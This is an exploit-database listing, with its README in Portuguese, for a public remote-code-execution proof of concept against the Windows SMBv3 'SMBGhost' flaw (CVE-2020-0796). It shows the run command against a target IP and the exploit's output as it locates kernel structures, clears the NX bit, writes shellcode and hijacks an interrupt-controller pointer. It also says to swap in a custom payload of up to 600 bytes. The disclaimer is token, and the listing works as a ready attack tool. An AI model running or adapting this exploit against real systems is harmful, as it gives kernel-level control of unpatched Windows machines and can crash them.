Sploitus

Exploit for SMBGhost_RCE_PoC

kitploit · 2026-08-25

Exploit Code

MARKDOWN35 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHOMPIE1337-SMBGHOST_RCE_POC
# SMBGhost_RCE_PoC

RCE PoC para CVE-2020-0796 "SMBGhost"

Apenas para fins de demonstração! Use isto apenas como referência. Sério. Isto não foi testado fora do meu ambiente de laboratório. Foi escrito rapidamente e precisa de algum trabalho para ser mais confiável. Às vezes você terá uma BSOD. Usar isto para qualquer propósito que não seja autoeducação é uma ideia extremamente ruim. Seu computador pegará fogo. Filhotes morrerão.

Agora que isso está resolvido....

Exemplo de uso:

root@kitploit:~
    
    
    $SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
    [+] found low stub at phys addr 13000!
    [+] PML4 at 1ad000
    [+] base of HAL heap at fffff79480000000
    [+] ntoskrnl entry at fffff80645792010
    [+] found PML4 self-ref entry 1eb
    [+] found HalpInterruptController at fffff79480001478
    [+] found HalpApicRequestInterrupt at fffff80645cb3bb0
    [+] built shellcode!
    [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
    [+] KUSER_SHARED_DATA PTE NX bit cleared!
    [+] Wrote shellcode at fffff78000000a00!
    [+] Press a key to execute shellcode!
    [+] overwrote HalpInterruptController pointer, should have execution shortly...
    

Substitua o payload em USER_PAYLOAD no exploit.py. Máximo de 600 bytes. Se quiser mais, modifique o código do kernel shell você mesmo.

Código lznt1 de aqui. Modificado para adicionar uma função de "compressão ruim" para corromper o cabeçalho do buffer SRVNET sem causar um travamento.

Veja este excelente artigo da Ricera Security para mais detalhes sobre os métodos que usei: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html